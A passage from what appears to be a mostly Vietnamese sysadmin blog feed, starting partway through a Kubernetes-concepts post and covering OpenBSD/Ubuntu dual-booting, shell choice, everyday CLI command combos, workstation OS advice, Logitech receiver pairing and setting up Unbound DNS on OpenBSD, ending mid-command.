<h3>PersistentVolumeClaim</h3>
<p>Mọi server đều có ổ cứng (trong container gọi là volume), có server cần nhiều ổ cứng. PersistentVolume + PersistentVolumeClaim thực hiện chuyện cấp phát/quản lý ổ cứng (như làm gì volume khi pod đã tắt).</p>
<p>Các doanh nghiệp lớn nếu từng dùng Ceph hay GlusterFS thì dùng Volume là khái niệm tương đương.</p>
<h3>Namespace, resourcequota</h3>
<p>Khi có nhiều phòng ban, doanh nghiệp sẽ cần phân chia tài nguyên cho mỗi phòng ban. Namespace giúp phân tách các resource (pod/deploy/service...) theo các namespace khác nhau, và áp dụng quota (giới hạn) khác nhau. Giúp việc phân chia tài nguyên máy tính cho các phòng ban.</p>
<h3>configmap</h3>
<p>Sự khác nhau giữa 2 server chạy NGINX là config của chúng. Container thường chỉ chứa chương trình, người dùng sẽ phải cung cấp config mong muốn, file config không được build sẵn trong image của container mà cung cấp qua configmap trước khi chạy - dù là config file hay qua biến environment.</p>
<h3>secret</h3>
<p>Trên server truyền thống, các secret như pasword/token thường được ghi vào config file/set trong environment variable trước khi service chạy. Việc quản lý các secret này thường: "do sysadmin/devops X biết", "trong trí nhớ của anh" hay thậm chí ghi vào giấy nhớ dán trong phòng sysadmin... một số công ty có thể dùng phần mềm quản lý password rồi chia sẻ cho team như keepass, 1password, Hashicorp Vault...
Trên kubernetes chứa chúng trong "secret".</p>
<p>PS: secret này mặc định không mã hóa (encrypt), chỉ encode base64 nên không có tính bảo mật.</p>
<p>PSS: có thể bật encrypt.</p>
<h3>service</h3>
<p>service thực hiện việc cho cả thế giới truy cập vào 1 deployment. Thường sử dụng LoadBalancer trên các hệ thống cloud để chia đều các kết nối cho các pod.</p>
<p>Trên server truyền thống, đó là cài NGINX hay HAProxy, cấu hình IP, VIP (Virtual IP), đảm bảo High Availability (HA) cho dịch vụ vẫn hoạt động khi 1 máy chạy NGINX/HAProxy bị tắt.</p>
<h3>helm/chart</h3>
<p>Linux server truyền thống cài phần mềm bằng apt/yum/dnf, cấu hình bằng copy/sửa tay các file config, thì từ 2010 trở đi, bắt đầu phổ biến việc cài đặt + cấu hình bằng 1 Configuration Management tool như Salt/Ansible/Chef/Puppet.</p>
<p>Chức năng chính thường có:</p>
<ul>
<li>download hay dùng apt/yum để cài phần mềm</li>
<li>copy một vài file template rồi điền giá trị vào vị trị</li>
<li>tạo, cấu hình chmod/chown một vài file, thư mục</li>
<li>start service (systemd/upstart/sysV)</li>
</ul>
<p>Trên kubernetes, Helm là công cụ phổ biến nhất để làm chuyện này.</p>
<ul>
<li>khai báo container image để K8S tải về</li>
<li>các config/secret cần để service chạy và điền vào file config qua Go template.</li>
<li>tạo service/deployment rồi chạy</li>
</ul>
<h2>Kết luận</h2>
<p>Kubernetes có nhiều khái niệm, nhưng không nhiều hơn quản lý server truyền thống, không khó hơn, nhưng tất nhiên việc phải học lại từ đầu những thứ đã biết mà tương đương sẽ không dễ chịu chút nào.</p>
<p>PS: bài này không nói về bên trong K8S, các thành phần để chạy nó hay việc cài đặt vận hành K8S, etcd, kubelet...
Một số có thể phản biện: không hiểu bên trong kubernetes thế nào sao chạy, mặc dù trong thế giới sysadmin truyền thống, số người hiểu về bên trong Linux Kernel, Systemd, NGINX, SaltStack, Ansible, Jenkins cũng không đủ nhiều.</p>
<h2>The end</h2>Dualboot Ubuntu 20.04 and OpenBSD 6.92021-08-02T00:00:00+07:002021-08-02T00:00:00+07:00hvntag:familug.github.io,2021-08-02:/dualboot-ubuntu-2004-and-openbsd-69.html<p>I dualboot OpenBSD with Ubuntu on both my laptop and desktop. They both work even I did two different ways to config multi-boot.</p>
<p><img alt="openbsd69" src="https://www.openbsd.org/images/puffy69.jpg"></p>
<h3>Install Ubuntu</h3>
<p>Need to install Ubuntu first, use its disk tool to pre-create a partition for OpenBSD, just an empty partition.</p>
<p>As new machine nowaday using UEFI …</p><p>I dualboot OpenBSD with Ubuntu on both my laptop and desktop. They both work even I did two different ways to config multi-boot.</p>
<p><img alt="openbsd69" src="https://www.openbsd.org/images/puffy69.jpg"></p>
<h3>Install Ubuntu</h3>
<p>Need to install Ubuntu first, use its disk tool to pre-create a partition for OpenBSD, just an empty partition.</p>
<p>As new machine nowaday using UEFI instead of BIOS, when installing
Ubuntu, it is going to create a partition for EFI, mounted as /boot/efi. This mounted as type vfat on my machine.</p>
<p>Install Ubuntu as normal. When done, install OpenBSD.</p>
<h3>Install OpenBSD</h3>
<p>When see fdisk to do fdisk partition, choose manual, leave out the partition installed Ubuntu.</p>
<p>Create 1 MBR partition for OpenBSD, set as type a6 (OpenBSD).</p>
<p>Then quit fdisk, it moves to disklabel parition, use what disk layout you want or just let it Auto.
Then do the rest til done.</p>
<h3>Config to boot OpenBSD</h3>
<p>After installed OpenBSD, reboot, you would still see Ubuntu Grub, boot into Ubuntu, then follow one of these two ways:</p>
<h4>Using Grub</h4>
<p>NOTE: this works for both BIOS and UEFI.</p>
<p>Add to <code>/etc/grub.d/40_custom</code></p>
<div class="highlight"><pre><span></span><code><span class="n">menuentry</span><span class="w"> </span><span class="s2">"OpenBSD"</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">root</span><span class="o">=</span><span class="p">(</span><span class="n">hd0</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">chainloader</span><span class="w"> </span><span class="o">+</span><span class="mi">1</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Change <code>hd0,2</code> (disk 0, partition 2) to your values.</p>
<p>Then run <code>sudo update-grub</code></p>
<p>When machine boot, if you don't see Grub menu to choose, hit right Shift many times or hold it.</p>
<h4>Using rEFInd</h4>
<p>This works only for UEFI.</p>
<p><a href="https://www.openbsd.org/faq/faq4.html#Multibooting">https://www.openbsd.org/faq/faq4.html#Multibooting</a></p>
<p>Install <code>refind</code> via apt-get:</p>
<div class="highlight"><pre><span></span><code>sudo apt-get update && sudo apt-get install -y refind
</code></pre></div>
<p>when installing, a ncurse window would ask you want to "Automatically install rEFInd to the ESP (EFI System Partition)", choose Yes.</p>
<p>Reboot you should see <code>rEFInd</code> boot screen and an option to choose the OpenBSD.</p>
<h3>Bonus: practice install dualboot Ubuntu & OpenBSD on Virtualbox VM</h3>
<h4>BIOS</h4>
<p>Create a VirtualBox VM with 16GB hardisk, to later have 8GB for each OS, follow above steps install Ubuntu 20.04, then OpenBSD, then config Grub. Result:</p>
<p><img alt="grub" src="https://familug.github.io/images/dualboot.png"></p>
<p><img alt="openbsd fdisk" src="https://familug.github.io/images/dualboot_fdisk.png"></p>
<h4>UEFI</h4>
<p>Choose VM > Settings > System > Motherboard > Tick "Enable EFI"</p>
<p>Install Ubuntu20.04 as above guide.</p>
<p>As of OpenBSD6.9, the CD-ROM cannot boot from EFI.</p>
<p>To make this work, download <a href="https://cdn.openbsd.org/pub/OpenBSD/6.9/amd64/install69.img">install69.img</a>, then convert it to VDI:</p>
<p>https://superuser.com/a/1404775/103156</p>
<div class="highlight"><pre><span></span><code>$ VBoxManage convertdd ~/Downloads/install69.img install69.vdi --format VDI
Converting from raw image <span class="nv">file</span><span class="o">=</span><span class="s2">"/home/hvn/Downloads/install69.img"</span> to <span class="nv">file</span><span class="o">=</span><span class="s2">"install69.vdi"</span>...
Creating dynamic image with size <span class="m">696745984</span> bytes <span class="o">(</span>665MB<span class="o">)</span>...
</code></pre></div>
<p>Choose VM > Settings > Storage > Controller: SATA > Adds hard disk > choose the converted VDI.
Start the VM,
access the EFI (hit Delete) and choose to boot from the 2nd harddisk, then install OpenBSD, and follow above guide.</p>
<p>Happy dual-booting.</p>Máy cá nhân dùng shell nào không còn quan trọng2021-06-22T00:00:00+07:002021-06-22T00:00:00+07:00hvntag:familug.github.io,2021-06-22:/may-ca-nhan-dung-shell-nao-khong-con-quan-trong.html<p><a href="https://www.familug.org/2012/12/zsh-va-bash.html">Cuối năm 2012, mình đã phát hiện ra ZSH</a>
lúc nó mới nổi và quyết định...
không dùng với lý do ghi rõ trong bài viết:</p>
<blockquote>
<p>đã, đang và sẽ tiếp tục dùng bash, bởi nó có 1 điều mà zsh không thể vượt
qua: bash "ở khắp mọi nơi …</p></blockquote><p><a href="https://www.familug.org/2012/12/zsh-va-bash.html">Cuối năm 2012, mình đã phát hiện ra ZSH</a>
lúc nó mới nổi và quyết định...
không dùng với lý do ghi rõ trong bài viết:</p>
<blockquote>
<p>đã, đang và sẽ tiếp tục dùng bash, bởi nó có 1 điều mà zsh không thể vượt
qua: bash "ở khắp mọi nơi".</p>
</blockquote>
<p><img alt="xonsh" src="https://xon.sh/_static/landing2/images/conch_ascii.png"></p>
<p>Điều này vẫn đúng, ZSH không thể vượt qua tính ubiquitos (ở khắp mọi nơi) của
bash, nhưng</p>
<blockquote>
<p>Cú pháp script của bash và zsh không khác nhau nhiều. Nếu đã biết bash thì
học zsh không có gì khó cả.</p>
</blockquote>
<p>điều này không quan trọng và chưa từng quan trọng.</p>
<p>Việc "học" dùng ZSH là chuyện cấu hình và làm quen với 1 số câu lệnh/tính năng
khác của nó như auto-complete cực xịn, etc...
nhưng không liên quan gì tới chuyện viết script. Bởi N lý do:</p>
<ul>
<li>gần như không ai viết zsh script cả, người người vẫn viết bash</li>
<li>khi phải viết bash, tôi viết <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html">(POSIX) shell code</a>, chạy với /bin/sh chứ không
phải bash - lý do: sh ở khắp mọi nơi</li>
<li>khi cần chạy bash script, bash vẫn luôn ở đó</li>
<li>/bin/sh trên Ubuntu còn gọi là <code>dash</code></li>
</ul>
<div class="highlight"><pre><span></span><code>$ ls -l /bin/sh
lrwxrwxrwx <span class="m">1</span> root root <span class="m">4</span> Jan <span class="m">17</span> <span class="m">16</span>:11 /bin/sh -> dash
$ whatis dash
dash <span class="o">(</span><span class="m">1</span><span class="o">)</span> - <span class="nb">command</span> interpreter <span class="o">(</span>shell<span class="o">)</span>
</code></pre></div>
<ul>
<li>từ khi Docker/<a href="https://www.familug.org/search/label/Kubernetes">K8S</a> trở nên
phổ biến, bash không còn "ở khắp mọi nơi nữa", hiếm
có docker image nào cài bash, nhưng <code>sh</code> thì ở khắp mọi nơi</li>
<li>nếu phải <a href="https://stackoverflow.com/a/35385978/807703">dùng tới Array</a>,
tôi viết Python script ngay lập tức.</li>
</ul>
<p>Vậy nên cứ thoải mái đổi shell nào tùy thích, chuyện viết script chẳng hề liên
quan, các tính năng dùng để viết script không phải các tính năng của shell dùng
tương tác hàng ngày.</p>
<p>Ngày càng có nhiều shell hấp dẫn khác để lựa chọn:</p>
<ul>
<li><a href="https://zsh.sourceforge.io/">zsh</a></li>
<li><a href="https://fishshell.com/">fish</a></li>
<li><a href="https://www.nushell.sh/">nushell</a></li>
<li><a href="https://xon.sh/">xonsh</a> - a Python shell</li>
<li><a href="https://janet-shell.org/">janetsh</a> - a Janet shell</li>
</ul>
<h2>Bonus</h2>
<p>Để viết shell code tránh các lỗi nho nhỏ, cài <code>shellcheck</code> rồi check file code
như check Python pep8.</p>
<div class="highlight"><pre><span></span><code>sudo apt-get install -y shellcheck
</code></pre></div>
<h2>Hết</h2>Các combo câu lệnh CLI từ năm 20212021-03-06T00:00:00+07:002021-03-06T00:00:00+07:00hvntag:familug.github.io,2021-03-06:/cac-combo-cau-lenh-cli-tu-nam-2021.html<p>Sau hơn 10 năm dùng Ubuntu/OSX/OpenBSD, các combo câu lệnh mình sử dụng đã có
nhiều thay đổi, bài này sẽ cập nhật các combo hay dùng nhất:</p>
<h3>ls</h3>
<p><code>ls -la</code> vốn là combo ưa thích, thì ngày nay, tay đã quen với 2 combo khác:</p>
<p><code>ls -Fhtl …</code></p><p>Sau hơn 10 năm dùng Ubuntu/OSX/OpenBSD, các combo câu lệnh mình sử dụng đã có
nhiều thay đổi, bài này sẽ cập nhật các combo hay dùng nhất:</p>
<h3>ls</h3>
<p><code>ls -la</code> vốn là combo ưa thích, thì ngày nay, tay đã quen với 2 combo khác:</p>
<p><code>ls -Fhtl</code> hiển thị file và sắp xếp theo file mới nhất ở trên đầu</p>
<p><code>ls -lFS</code> hiển thị file theo size giảm dần (dễ nhớ: <a href="http://linuxfromscratch.org/">LinuxFromScratch</a>)</p>
<h3>free -m</h3>
<p>free là câu lệnh chỉ có trên Linux như Ubuntu, trên OSX và OpenBSD đều không có, vậy nên dùng <code>top | head</code>
sẽ thay thế được cho lệnh free.</p>
<p>Combo sau khi login vào 1 máy sẽ là: <code>w; df -h; top | head</code></p>
<h3>grep</h3>
<p>Vẫn là combo <code>grep -Rin pattern dir</code> nhưng ngày nay mình đã thay grep bằng <code>ripgrep</code> nên thường chỉ gõ <code>rg pattern dir</code>
ripgrep nhanh hơn grep nhiều lần, <a href="https://www.familug.org/2020/02/grep-silversearcher-ag-ripgrep-va-file.html">chú ý khi tìm file "ẩn"/ignored</a>.</p>
<h3>curl</h3>
<p><code>curl</code> vốn phổ biến như 1 CLI HTTP client tiện dùng khi dev, nhưng <code>curl</code> không có sẵn ở nhiều nơi như <code>wget</code> (ubuntu, busybox mặc định, trong các Alpine based container).</p>
<div class="highlight"><pre><span></span><code><span class="o">$</span><span class="w"> </span><span class="n">curl</span><span class="w"> </span><span class="o">-</span><span class="n">L</span><span class="w"> </span><span class="o">-</span><span class="n">o</span><span class="w"> </span><span class="n">elm</span><span class="o">.</span><span class="n">gz</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">github</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">elm</span><span class="o">/</span><span class="n">compiler</span><span class="o">/</span><span class="n">releases</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mf">0.19</span><span class="o">.</span><span class="mi">1</span><span class="o">/</span><span class="n">binary</span><span class="o">-</span><span class="k">for</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">bit</span><span class="o">.</span><span class="n">gz</span><span class="w"></span>
</code></pre></div>
<p>tương đương với</p>
<div class="highlight"><pre><span></span><code><span class="o">$</span><span class="w"> </span><span class="n">wget</span><span class="w"> </span><span class="o">-</span><span class="n">O</span><span class="w"> </span><span class="n">elm</span><span class="o">.</span><span class="n">gz</span><span class="w"> </span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">github</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">elm</span><span class="o">/</span><span class="n">compiler</span><span class="o">/</span><span class="n">releases</span><span class="o">/</span><span class="n">download</span><span class="o">/</span><span class="mf">0.19</span><span class="o">.</span><span class="mi">1</span><span class="o">/</span><span class="n">binary</span><span class="o">-</span><span class="k">for</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">bit</span><span class="o">.</span><span class="n">gz</span><span class="w"></span>
</code></pre></div>
<p><code>wget</code> cũng có thể dùng để thực hiện HTTP GET request:</p>
<div class="highlight"><pre><span></span><code># wget -qO- https://httpbin.org/get
{
"args": {},
"headers": {
"Host": "httpbin.org",
"User-Agent": "Wget",
"X-Amzn-Trace-Id": "Root=1-604387fc-24ae289768ff475a730532f7"
},
"origin": "171.246.107.102",
"url": "https://httpbin.org/get"
}
</code></pre></div>
<h3>su</h3>
<p>Sau vụ <a href="https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit">lỗ hổng bảo mật của sudo dậy sóng cộng đồng mạng đầu 2021</a>, thật ra chẳng ảnh hưởng gì do
mình dùng OpenBSD, nơi mà quyết định thay <code>sudo</code> bằng 1 phần mềm tên là <code>doas</code>.</p>
<p>Sử dụng <code>su</code> khi cần chuyển sang root, combo là <code>su -l</code> để đổi sang ENV
của user root (ví dụ chuyển đúng đến $HOME của root chứ không ở thư mục hiện
tại)</p>
<h3>ss -nltp</h3>
<p>Combo này chỉ hoạt động trên Linux với gói <code>iproute</code>.
Trên MacOS/OpenBSD, sử dụng: <code>netstat -nl</code> nếu cần chọn tcp
thì thêm <code>netstat -nl -p tcp</code></p>
<h3>vi</h3>
<p>Thói quen khi dùng <code>vim</code> (không phải <code>vi</code>) là gõ <code>gg</code> để lên đầu file, <code>vi</code>
không có phím tắt này.
Thay vào đó <code>vi</code> dùng <code>1G</code> để go to dòng số 1, và <code>G</code> để tới dòng cuối cùng.</p>
<h3>bash ^a^b^</h3>
<p>Trên OpenBSD, shell mặc định là KSH và nó không giống bash ở việc thay 1 phần câu lệnh cũ:</p>
<p>bash:</p>
<div class="highlight"><pre><span></span><code>$ ls /etc
...
$ ^/etc^/etc/passwd^
sẽ chạy lệnh ls /etc/passwd <span class="o">(</span>thay /etc ở câu lệnh cuối cùng bằng /etc/passwd<span class="o">)</span>
</code></pre></div>
<p>ksh:</p>
<div class="highlight"><pre><span></span><code>$ ls /etc
...
$ r /etc<span class="o">=</span>/etc/passwd
ls /etc/passwd
</code></pre></div>
<p>cho kết quả tương ứng.</p>
<h3>fg</h3>
<p>Xưa nay sau khi chuyển job về backgroup (ctrl Z), để bật thành foreground sẽ gõ: fg 1 với job 1</p>
<p>Combo này không chạy trên ksh, phải gõ <code>fg %1</code> , và sử dụng % đảm bảo hoạt động
mọi nơi, kể cả bash.</p>
<div class="highlight"><pre><span></span><code>$ ping <span class="m">1</span>.1.1.1
PING <span class="m">1</span>.1.1.1 <span class="o">(</span><span class="m">1</span>.1.1.1<span class="o">)</span>: <span class="m">56</span> data bytes
<span class="m">64</span> bytes from <span class="m">1</span>.1.1.1: <span class="nv">icmp_seq</span><span class="o">=</span><span class="m">0</span> <span class="nv">ttl</span><span class="o">=</span><span class="m">59</span> <span class="nv">time</span><span class="o">=</span><span class="m">32</span>.009 ms
^Z
<span class="o">[</span><span class="m">1</span><span class="o">]</span>+ Stopped ping <span class="m">1</span>.1.1.1
$ <span class="nb">fg</span> %1
ping <span class="m">1</span>.1.1.1
<span class="m">64</span> bytes from <span class="m">1</span>.1.1.1: <span class="nv">icmp_seq</span><span class="o">=</span><span class="m">1</span> <span class="nv">ttl</span><span class="o">=</span><span class="m">59</span> <span class="nv">time</span><span class="o">=</span><span class="m">4161</span>.095 ms
</code></pre></div>
<h3>source</h3>
<p><code>source</code> là 1 câu lệnh built-in của <code>bash</code> để đọc và chạy các câu lệnh
từ 1 file trong môi trường shell hiện tại. Nhưng <code>source</code> là của riêng bash.
Dùng <code>.</code> cho tác dụng tương tự, nhưng chạy trên mọi shell khác.</p>
<h3>tail -F</h3>
<p>Trên Linux, lệnh <code>tail</code> có 2 option khác nhau là <code>-f</code> và <code>-F</code>,
<a href="https://www.familug.org/2016/09/tail-f-f-hoa-f.html"><code>-F</code> sẽ theo file mới nếu file cũ bị thay thế (VD: log rotate)</a>,
nhưng trên OpenBSD, <code>-f</code> hoạt động như <code>-F</code> trên Linux.</p>
<h2>The end</h2>Máy làm việc có nên cùng hệ điều hành với server?2021-03-01T01:02:03+07:002021-03-01T01:02:03+07:00hvntag:familug.github.io,2021-03-01:/may-lam-viec-co-nen-cung-he-dieu-hanh-voi-server.html<p>Trước đây khi mới học dùng Linux/làm sysadmin, mình từng nghĩ việc "nếu làm
Ubuntu sysadmin thì máy bàn/ máy cá nhân phải dùng Ubuntu", để có kinh nghiệm
khi dùng hàng ngày ứng dụng cho công việc.</p>
<p><img alt="Photo by <a href="https://unsplash.com/@xps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">XPS</a> on <a href="https://unsplash.com/@xps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>" src="https://familug.github.io/images/xps.jpg"></p>
<p>Sau gần 8 năm đi làm (since 2013), kết luận hiện …</p><p>Trước đây khi mới học dùng Linux/làm sysadmin, mình từng nghĩ việc "nếu làm
Ubuntu sysadmin thì máy bàn/ máy cá nhân phải dùng Ubuntu", để có kinh nghiệm
khi dùng hàng ngày ứng dụng cho công việc.</p>
<p><img alt="Photo by <a href="https://unsplash.com/@xps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">XPS</a> on <a href="https://unsplash.com/@xps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>" src="https://familug.github.io/images/xps.jpg"></p>
<p>Sau gần 8 năm đi làm (since 2013), kết luận hiện tại mình đưa ra là: không
cần thiết.</p>
<h2>Kiến thức đi làm khác với kiến thức dùng hàng ngày</h2>
<p>Thứ công nghệ khiến mình bị shock nhất trong những năm đầu làm sysadmin,
đó là OpenLDAP. Bạn sẽ không bao giờ hiểu được nó là thứ gì và tại sao lại cần,
cho đến khi đi làm môi trường doanh nghiệp, khi công ty có hàng trăm hay hàng
nghìn nhân viên. Bạn sẽ không bao giờ chơi với OpenLDAP ở nhà cả, chẳng
có lý do gì làm vậy.
Ngắn gọn: OpenLDAP/ActiveDirectory hay các hệ thống "directory" thường dùng lưu
trữ
thông tin về các cá nhân, và nó hoạt động như 1 database tối ưu cho việc truy
cập, người dùng có thể dùng 1 tài khoản để đăng nhập vào nhiều chương trình
như email, dịch vụ nội bộ a,b,c... lý do là LDAP đã quá phổ biến và các
ngôn ngữ lập trình đều có sẵn thư viện giúp việc này chỉ mất < 1 ngày để làm.</p>
<p>Vậy nên cả ngày dùng Ubuntu, cũng chẳng giúp ích gì cho dùng OpenLDAP.</p>
<p>Vài thứ kiến thức / công nghệ khác mà dùng máy cá nhân giống máy server không
giúp ích gì:</p>
<ul>
<li>Kiến thức setup BIOS, Grub, format ổ cứng... khi server dùng cloud.</li>
<li>Kiến thức về kết nối các thiết bị phần cứng: loa phím chuột</li>
<li>Cấu hình wifi</li>
<li>cấu hình giao diện đồ họa (DE, WM, X.org)</li>
</ul>
<p>Vài thứ kiến thức / công nghệ mà chỉ dùng khi đi làm, còn máy cá nhân không
dùng bao giờ:</p>
<ul>
<li>Terraform, Kubernetes</li>
<li>Databases, NGINX, Jenkins, ELK, Prometheus,...</li>
<li>SaltStack, Ansible (có thể dùng nhưng rất giới hạn).</li>
</ul>
<h2>Những kiến thức hữu dụng cả ở máy cá nhân/làm việc và công việc</h2>
<p>Thành thạo sử dụng các câu lệnh UNIX, vừa giúp các công việc hàng ngày, vừa
hữu dụng khi đi làm:</p>
<ul>
<li>cd</li>
<li>cp</li>
<li>find</li>
<li>grep</li>
<li>ls</li>
<li>mkdir</li>
<li>mv</li>
<li>ps</li>
<li>top</li>
<li>vi</li>
</ul>
<p>.., xem thêm tại <a href="https://www.familug.org/2014/11/cmd-linux-utilities-co-gi-can-thiet.html">đây</a>.</p>
<p>các chương trình này đều tuân theo chuẩn "POSIX" và tương tự nhau trên các
hệ điều hành: Ubuntu, Fedora, ArchLinux,... OSX/MacOS, OpenBSD, FreeBSD,
hay cả Windows Subsystem for Linux (WSL).</p>
<ul>
<li>git/GitHub/GitLab</li>
<li>tmux</li>
<li>cài máy ảo (KVM/VirtualBox) hay dùng container (docker) để có môi trường
giống server khi cần thiết.</li>
<li>kiến thức network: ping, netstat, DNS, iptable, tcpdumb...</li>
<li>kiến thức lập trình</li>
<li>đọc log</li>
</ul>
<p>Những thứ "căn bản" này, lại là thứ hữu ích.</p>
<h2>Kết luận</h2>
<p>Kinh nghiệm với một công nghệ nào đó, có giá trị ở một mức độ nhất định.
Người dùng máy bàn Ubuntu 10 năm, giỏi cấu hình giao diện đẹp lóng lánh,
cũng khó chắc mà đủ kiến thức và kinh nghiệm Kubernetes, hay OpenLDAP để đi làm.</p>
<p>Chuyện server chạy Ubuntu còn máy làm việc/cá nhân dùng MacOS, Windows (WSL),
hay ArchLinux, OpenBSD đều hoàn toàn bình thường, OK. Thậm chí, các lập trình
viên sang chảnh giờ đều dùng MacOS trong khi code đều chạy trên một Linux server
nào đó như Ubuntu.</p>
<p>Xông lên và khám phá những thứ mới, những hệ điều hành mới, dùng 1 workstation
OS giống máy server sẽ không giúp bạn quá nhiều. Nếu đã plan sau 5 năm trở
thành senior DevOps, 2 năm đầu hãy dùng Ubuntu, rồi mỗi năm sau đó chuyển qua
1 OS mới, càng khác biệt càng tốt: Fedora, ArchLinux, FreeBSD/OpenBSD...
kinh nghiệm thu được sẽ nhiều hơn là 5 năm làm đi làm lại 1 vài task trên
Ubuntu.</p>Cấu hình chuột/phím Logitech với USB receiver/dongle2021-03-01T00:00:00+07:002021-03-01T00:00:00+07:00hvntag:familug.github.io,2021-03-01:/cau-hinh-chuotphim-logitech-voi-usb-receiverdongle.html<p>Ngày nay, những bộ chuột phím không dây dần trở nên phổ biến, với 2 loại kết nối: bluetooth và wireless.</p>
<h2>Chuột, phím bluetooth/không dây(wireless)</h2>
<ul>
<li>kết nối bluetooth sử dụng... bluetooth.</li>
<li>kết nối wireless sử dụng 1 thiết bị nhỏ cắm vào cổng USB, gọi là wireless USB …</li></ul><p>Ngày nay, những bộ chuột phím không dây dần trở nên phổ biến, với 2 loại kết nối: bluetooth và wireless.</p>
<h2>Chuột, phím bluetooth/không dây(wireless)</h2>
<ul>
<li>kết nối bluetooth sử dụng... bluetooth.</li>
<li>kết nối wireless sử dụng 1 thiết bị nhỏ cắm vào cổng USB, gọi là wireless USB receiver (đầu thu không dây).</li>
</ul>
<p><img alt="USB receiver/dongle" src="https://familug.github.io/images/usb_receiver.webp"></p>
<p>Khi bán các thiết bị chuột, bàn phím, cục USB receiver này thường đi kèm sẵn, khiến ta có thể lầm tưởng nó chỉ hoạt động được với thiết bị đi kèm, và mất cục nhỏ xíu đó là... tèo.</p>
<p>Thử tưởng tượng nhà sản xuất Logitech mỗi ngày sản xuất hàng ngàn con chuột máy tính ở 1 nhà máy, hàng ngàn USB receiver tại 1 nhà máy khác xa hàng ngàn cây số, làm sao để đảm bảo chúng khớp 1-1?</p>
<p>Bởi vì chúng không cần!
đảm bảo điều nói trên giống như ốc và vít phải sản xuất từng cặp vậy.</p>
<p>USB receiver có thể cấu hình lại và "pair" với các thiết bị khác nhau.</p>
<h2>Cấu hình USB receiver</h2>
<p>Một USB receiver hiện đại (2020), của Logitech sử dụng công nghệ <a href="https://www.logitech.com/en-us/resource-center/what-is-unifying.html">"Unifying"</a> có thể pair 1 lúc 6 thiết bị khác nhau.</p>
<p>Dấu <code>*</code> trên receiver trong hình là logo của công nghệ Logitech Unifying.</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'print("</span><span class="si">{}</span><span class="s1"> is the answer to life".format(ord("*")))'</span>
<span class="mi">42</span> <span class="ow">is</span> <span class="n">the</span> <span class="n">answer</span> <span class="n">to</span> <span class="n">life</span>
</code></pre></div>
<ul>
<li>Các receiver tương tự, nếu có logo chữ G là thuộc công nghệ Lightspeed, dành
cho dòng chơi game, thường có cả tên model luôn do chỉ hoạt động với model tương ứng.</li>
<li>Các receiver không có logo gọi là "nano receiver", thấy ở các sản phẩm giá
thấp <a href="https://duckduckgo.com/?t=ffab&q=logitech+mk240&iax=images&ia=images">Logitech MK240</a>,</li>
<li>các receiver to bằng 2 đốt ngón tay (như USB driver) gọi là micro receiver.</li>
</ul>
<p>Trên Windows/MacOS có thể tải app <a href="https://www.logitech.com/en-us/product/options">Options của Logitech</a> để cấu hình/pair các thiết bị.</p>
<p>Trên Linux, dùng <a href="https://pwr-solaar.github.io/Solaar/">Solaar</a> có sẵn trong repo <a href="https://packages.ubuntu.com/search?suite=default&section=all&arch=any&keywords=solaar&searchon=names">Ubuntu từ 16.04</a>.</p>
<blockquote>
<p>Solaar is a Linux manager for many Logitech keyboards, mice, and trackpads that connect wirelessly to a USB Unifying, Lightspeed, or Nano receiver, connect directly via a USB cable, or connect via Bluetooth. Solaar does not work with peripherals from other companies.</p>
</blockquote>
<p>Sau khi pair xong, USB receiver và chuột/phím sẽ "nhớ" nhau, có thể dùng thoải mái ở các máy tính khác, khi cần thì pair lại, linh hoạt như các thiết bị bluetooth.</p>
<h2>The end</h2>Run Unbound DNS resolver on OpenBSD 6.8 on a Laptop2021-02-28T00:00:00+07:002021-02-28T00:00:00+07:00hvntag:familug.github.io,2021-02-28:/run-unbound-dns-resolver-on-openbsd-68-on-a-laptop.html<p>OpenBSD 6.8 comes with default installed Unbound daemon.
Using Unbound, you would not longer depends on other DNS provider, keep
what domain you access to yourself.</p>
<h2>Enable and start unbound</h2>
<div class="highlight"><pre><span></span><code># rcctl enable unbound
# rcctl start unbound
</code></pre></div>
<p>It now listens on port 53, on localhost address - good, sane default:</p>
<div class="highlight"><pre><span></span><code>$ netstat …</code></pre></div><p>OpenBSD 6.8 comes with default installed Unbound daemon.
Using Unbound, you would not longer depends on other DNS provider, keep
what domain you access to yourself.</p>
<h2>Enable and start unbound</h2>
<div class="highlight"><pre><span></span><code># rcctl enable unbound
# rcctl start unbound
</code></pre></div>
<p>It now listens on port 53, on localhost address - good, sane default:</p>
<div class="highlight"><pre><span></span><code>$ netstat -nl <span class="p">|</span> grep <span class="m">53</span>
tcp <span class="m">0</span> <span class="m">0</span> <span class="m">127</span>.0.0.1.53 *.* LISTEN
udp <span class="m">0</span> <span class="m">0</span> <span class="m">127</span>.0.0.1.53 *.*
tcp6 <span class="m">0</span> <span class="m">0</span> ::1.53 *.* LISTEN
udp6 <span class="m">0</span> <span class="m">0</span> ::1.53 *.*
</code></pre></div>
<p>Now check using <code>dig</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">dig</span><span class="w"> </span><span class="n">pymi</span><span class="p">.</span><span class="n">vn</span><span class="w"> </span><span class="mf">@127.0.0.1</span><span class="w"></span>
